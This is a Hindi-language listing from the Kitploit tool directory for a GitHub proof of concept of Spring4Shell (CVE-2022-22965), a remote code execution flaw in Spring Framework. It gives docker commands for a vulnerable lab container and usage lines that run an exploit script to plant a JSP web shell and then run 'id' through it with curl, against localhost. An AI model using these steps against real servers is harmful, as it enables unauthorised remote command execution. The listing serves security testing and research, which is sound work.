Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-22965 — JDK 9+ पर डेटा बाइंडिंग के माध्यम से Spring Framework RCE / spring4shell / CVE-2022-22965 | Kitploit
उपकरण/GitHubGitHub/me2nuk/cve-2022-22965
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubme2nuk/cve-2022-22965

CVE-2022-22965

JDK 9+ पर डेटा बाइंडिंग के माध्यम से Spring Framework RCE / spring4shell / CVE-2022-22965

रिपॉजिटरी देखें
14824 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Spring4Shell(CVE-2022-22965)

Spring Framework JDK 9+ पर डेटा बाइंडिंग के माध्यम से RCE / spring4shell / CVE-2022-22965

Spring4Shell(CVE-2022-22965) शोषण प्रदर्शन

https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4

निर्माण

root@kitploit:~
docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965

POC

root@kitploit:~
python3 -m pip install -r requirements.txt
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
curl http://localhost:8080/cmd.jsp?cmd=id

संदर्भ


  • https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
  • https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md
  • https://github.com/lunasec-io/Spring4Shell-POC
  • टूल डाउनलोड करें